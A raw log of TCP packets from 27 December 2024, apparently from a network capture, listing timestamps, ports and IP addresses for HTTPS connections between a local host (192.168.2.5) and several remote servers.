Dec 27, 2024 08:20:20.139256001 CET	49731	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.139271021 CET	443	49731	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.140043020 CET	443	49731	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.140096903 CET	49731	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.140104055 CET	443	49731	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.148226023 CET	443	49731	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.148761034 CET	49731	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.148917913 CET	49731	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.148935080 CET	443	49731	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.210549116 CET	443	49736	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.210936069 CET	49736	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.210966110 CET	443	49736	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.212042093 CET	443	49736	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.212104082 CET	49736	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.212457895 CET	49736	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.212539911 CET	443	49736	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.256711006 CET	49736	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.256737947 CET	443	49736	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.304805994 CET	49736	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.918469906 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.918529987 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.918567896 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.918602943 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.918621063 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.918637037 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.918689966 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.927442074 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.927679062 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.927686930 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.951714039 CET	443	49735	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.951855898 CET	443	49735	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.951916933 CET	49735	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.952595949 CET	49735	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:20.952617884 CET	443	49735	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:20.976814032 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.044425964 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.054703951 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.056601048 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.056618929 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.058814049 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.058998108 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.059010029 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.104329109 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.104346037 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.105407953 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.105484962 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.105494976 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.123405933 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.123473883 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.123483896 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.133090019 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.134993076 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.135019064 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.135030985 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.135078907 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.142757893 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.163794041 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.163928986 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.164007902 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.164020061 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.164093018 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.167970896 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.215718985 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.215729952 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.249636889 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.249783993 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.249794960 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.258096933 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.258202076 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.258213043 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.287442923 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.287489891 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.291079998 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.291091919 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.293292046 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.294708967 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.307710886 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.307787895 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.307800055 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.321270943 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.321357965 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.321391106 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.321403980 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.321590900 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.334825039 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.347438097 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.347493887 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.347501993 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.358840942 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.358923912 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.358953953 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.358973026 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.359064102 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.369784117 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.380736113 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.380898952 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.380963087 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.380971909 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.381119013 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.391067028 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.391218901 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.391335011 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.391343117 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.400943041 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.401027918 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.401038885 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.410609961 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.410707951 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.410725117 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.420093060 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.420258045 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.420269012 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.429843903 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.429970980 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.429981947 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.439644098 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.443245888 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.443253994 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.446757078 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.446825981 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.446837902 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.453917980 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.453983068 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.453989983 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.460956097 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.461045980 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.461056948 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.473817110 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.473923922 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.473933935 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.478508949 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.478569031 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.478575945 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.488360882 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.488428116 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.488435984 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.492049932 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.492176056 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.492182970 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.498471022 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.498544931 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.498553038 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.505285025 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.507067919 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.507080078 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.512898922 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.512990952 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.512999058 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.519364119 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.520544052 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.520551920 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.527148008 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.527226925 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.527234077 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.535912037 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.535991907 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.535999060 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.548530102 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.548749924 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.548757076 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.559971094 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.560044050 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.560051918 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.570930004 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.571006060 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.571013927 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.581895113 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.581954002 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.581962109 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.583092928 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.583161116 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.583168983 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.592052937 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.592164040 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.593187094 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:21.593337059 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.595951080 CET	49734	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:21.595963955 CET	443	49734	172.217.21.36	192.168.2.5
Dec 27, 2024 08:20:22.919307947 CET	49758	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:22.919352055 CET	443	49758	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:22.919430971 CET	49758	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:22.919867992 CET	49758	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:22.919881105 CET	443	49758	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:24.079687119 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:24.079720020 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:24.080357075 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:24.086910009 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:24.086925030 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:24.096786976 CET	49736	443	192.168.2.5	172.217.21.36
Dec 27, 2024 08:20:24.369870901 CET	443	49758	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:24.370184898 CET	49758	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:24.371268988 CET	49758	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:24.371304989 CET	443	49758	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:24.374006987 CET	49758	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:24.374034882 CET	443	49758	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.283431053 CET	49703	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:20:25.283503056 CET	49703	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:20:25.283801079 CET	49769	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:20:25.283842087 CET	443	49769	23.1.237.91	192.168.2.5
Dec 27, 2024 08:20:25.283931017 CET	49769	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:20:25.284924984 CET	49769	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:20:25.284936905 CET	443	49769	23.1.237.91	192.168.2.5
Dec 27, 2024 08:20:25.402925968 CET	443	49703	23.1.237.91	192.168.2.5
Dec 27, 2024 08:20:25.402971029 CET	443	49703	23.1.237.91	192.168.2.5
Dec 27, 2024 08:20:25.428916931 CET	443	49758	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.428991079 CET	443	49758	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.429065943 CET	49758	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.429065943 CET	49758	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.429862022 CET	49758	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.429913044 CET	443	49758	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.574246883 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.574340105 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.574840069 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.574851990 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.576824903 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.576833010 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.576920033 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.576936960 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.576998949 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.576998949 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.577004910 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.577018023 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.577038050 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.577052116 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.577083111 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.577095032 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.577136040 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.577150106 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.577214003 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.577224016 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.577235937 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.577250004 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.577265978 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.577274084 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.577332020 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.577343941 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.577358961 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.577366114 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.577380896 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.577392101 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.577434063 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.577440977 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.577461958 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.577471972 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.577482939 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.577488899 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:25.577503920 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:25.577507973 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:26.125627041 CET	49770	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:26.125674009 CET	443	49770	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:26.125734091 CET	49770	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:26.125926018 CET	49770	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:26.125937939 CET	443	49770	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:26.623603106 CET	443	49769	23.1.237.91	192.168.2.5
Dec 27, 2024 08:20:26.623670101 CET	49769	443	192.168.2.5	23.1.237.91
Dec 27, 2024 08:20:27.592061996 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:27.592133045 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:27.592292070 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:27.593164921 CET	49761	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:27.593178988 CET	443	49761	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:27.619302034 CET	443	49770	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:27.619395971 CET	49770	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:27.621351004 CET	49770	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:27.621351004 CET	49770	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:27.621359110 CET	443	49770	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:27.621373892 CET	443	49770	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:27.621603966 CET	49770	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:27.621615887 CET	443	49770	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:27.621633053 CET	49770	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:27.621635914 CET	443	49770	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:27.621737957 CET	49770	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:27.621754885 CET	443	49770	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:27.621761084 CET	49770	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:27.621764898 CET	443	49770	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:27.621824980 CET	49770	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:27.621835947 CET	443	49770	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:28.220689058 CET	49776	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:28.220745087 CET	443	49776	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:28.220947981 CET	49776	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:28.221291065 CET	49776	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:28.221307039 CET	443	49776	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:29.317823887 CET	443	49770	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:29.317987919 CET	443	49770	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:29.318032980 CET	49770	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:29.319168091 CET	49770	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:29.319168091 CET	49770	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:29.623593092 CET	49770	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:29.623617887 CET	443	49770	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:29.652964115 CET	443	49776	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:29.653103113 CET	49776	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:29.655059099 CET	49776	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:29.655070066 CET	443	49776	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:29.655436993 CET	49776	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:29.655443907 CET	443	49776	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:29.655567884 CET	49776	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:29.655591965 CET	443	49776	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:29.655700922 CET	49776	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:29.655718088 CET	443	49776	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:29.655929089 CET	49776	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:29.655950069 CET	443	49776	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:29.656088114 CET	49776	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:29.656100035 CET	443	49776	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:29.656116962 CET	49776	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:29.656122923 CET	443	49776	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:29.656194925 CET	49776	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:29.656209946 CET	443	49776	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:30.236110926 CET	49782	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:30.236124992 CET	443	49782	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:30.236202955 CET	49782	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:30.236480951 CET	49782	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:30.236490011 CET	443	49782	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:31.450752020 CET	443	49776	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:31.450843096 CET	443	49776	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:31.450889111 CET	49776	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:31.450917006 CET	49776	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:31.452322960 CET	49776	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:31.452342033 CET	443	49776	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:31.678667068 CET	443	49782	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:31.678790092 CET	49782	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:31.844325066 CET	49782	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:31.844346046 CET	443	49782	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:31.846201897 CET	49782	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:31.846208096 CET	443	49782	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:32.890768051 CET	443	49782	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:32.890836954 CET	49782	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:32.890845060 CET	443	49782	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:32.891176939 CET	49782	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:32.997813940 CET	49782	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:32.997838974 CET	443	49782	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:37.112420082 CET	49809	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:37.112445116 CET	443	49809	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:37.112638950 CET	49809	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:37.115227938 CET	49809	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:37.115240097 CET	443	49809	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:37.905848980 CET	49816	443	192.168.2.5	2.16.158.176
Dec 27, 2024 08:20:37.905914068 CET	443	49816	2.16.158.176	192.168.2.5
Dec 27, 2024 08:20:37.905989885 CET	49816	443	192.168.2.5	2.16.158.176
Dec 27, 2024 08:20:37.906740904 CET	49816	443	192.168.2.5	2.16.158.176
Dec 27, 2024 08:20:37.906761885 CET	443	49816	2.16.158.176	192.168.2.5
Dec 27, 2024 08:20:37.992607117 CET	49817	443	192.168.2.5	142.250.181.65
